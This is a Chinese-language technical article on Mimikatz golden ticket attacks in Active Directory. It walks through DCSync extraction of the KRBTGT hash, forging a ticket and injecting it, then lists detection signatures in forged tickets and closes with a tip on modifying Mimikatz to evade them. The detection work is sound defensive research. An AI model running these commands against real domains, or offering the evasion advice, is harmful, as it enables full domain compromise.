浅谈mimikatz黄金票据攻击特征检测
字数 1342 2025-08-06 20:12:44
Mimikatz黄金票据攻击特征检测与分析
0x01 黄金票据概述
黄金票据(Golden Ticket)攻击利用了Kerberos身份验证协议中的漏洞,该协议自Windows 2000以来一直是Microsoft的默认身份验证协议。
Kerberos身份验证正常流程
- Kerberos使用密钥分发中心(KDC)作为受信任的第三方身份验证服务
- 每个域控制器都运行KDC服务
- 用户认证时,KDC会发出票据授予票据(TGT),包含:
- 唯一会话密钥
- 时间戳(通常有效期为8-10小时)
- 访问资源时,客户端只需发送TGT证明最近已通过认证
0x02 Mimikatz实施黄金票据攻击
实验环境
- 域控制器:Windows Server 2012 R2 Standard
- 域用户:Windows 10专业版
伪造黄金票据所需条件
- 域名称
- 域的SID值
- 域的KRBTGT账号的HASH
- 伪造的用户名(任意)
攻击步骤
-
提权并导出KRBTGT的HASH
privilege::debug lsadump::dcsync /domain:test.com /all /csv lsadump::dcsync /domain:test.com /user:krbtgt -
生成黄金票据(.kirbi文件)
kerberos::golden /admin:administrator /domain:test.com /sid:S-1-5-21-369729056-3910723598-3583767373 /krbtgt:ad000f5ff0d6d8a114d343f164691809 /ticket:ticket.kirbi参数说明:
/admin: 伪造的用户名/domain: 域名称/sid: SID值(去掉最后一个"-"后面的值)/krbtgt: KRBTGT的HASH值/ticket: 生成的票据名称
-
测试票据有效性
- 初始无法访问域控制器的共享文件夹
- 使用普通用户通过Mimikatz注入票据:
kerberos::purge kerberos::ptt ticket.kirbi - 注入后可成功访问共享文件夹
0x03 黄金票据特征分析
通过klist查看注入的票据,可发现以下异常特征:
1. 票据有效期异常
- 默认生成的票据有效期为10年(代码位置:kuhl_m_kerberos.c第455行)
- 正常票据有效期为8-10小时
2. 时间参数异常
- 结束时间与续订时间一致
- 正常票据的续订时间应超过结束时间
- (代码位置:kuhl_m_kerberos.c第455行)
3. 加密方式异常
- 使用RC4加密方式
- 查看正常票据(#0)可见用户机器支持更安全的AES-256加密
- 流量分析可见机器支持AES-256加密却未使用
4. 流量解密特征
- 使用.keytab文件解密Kerberos流量后可看到票据时间信息
- 生成.keytab文件方法见参考链接
5. 用户权限特征
- 用户名不重要,仅与User RID和Group RID有关
- 代码默认生成的User RID为500(管理员)
- Group RID在代码中定义为固定值(代码位置:kuhl_m_kerberos_pac.c文件179行):
GROUP_MEMBERSHIP kuhl_m_pac_stringTogroups_defaultGroups[] = { {513, DEFAULT_GROUP_ATTRIBUTES}, {512, DEFAULT_GROUP_ATTRIBUTES}, {520, DEFAULT_GROUP_ATTRIBUTES}, {518, DEFAULT_GROUP_ATTRIBUTES}, {519, DEFAULT_GROUP_ATTRIBUTES} }; - User RID默认值(代码位置:kuhl_m_kerberos.c文件412行)
6. PAC_INFO结构异常
- Mimikatz生成的PAC_INFO只有3个部分
- 正常认证会有4个部分
0x04 检测与防御建议
-
检测引擎要求:
- 需能完全解密Kerberos协议
- 定期导出域环境所有账号密码生成.keytab文件用于解密
-
红队规避建议:
- 可自定义Mimikatz代码修改上述数据特征
- 本文分析基于默认情况下的特征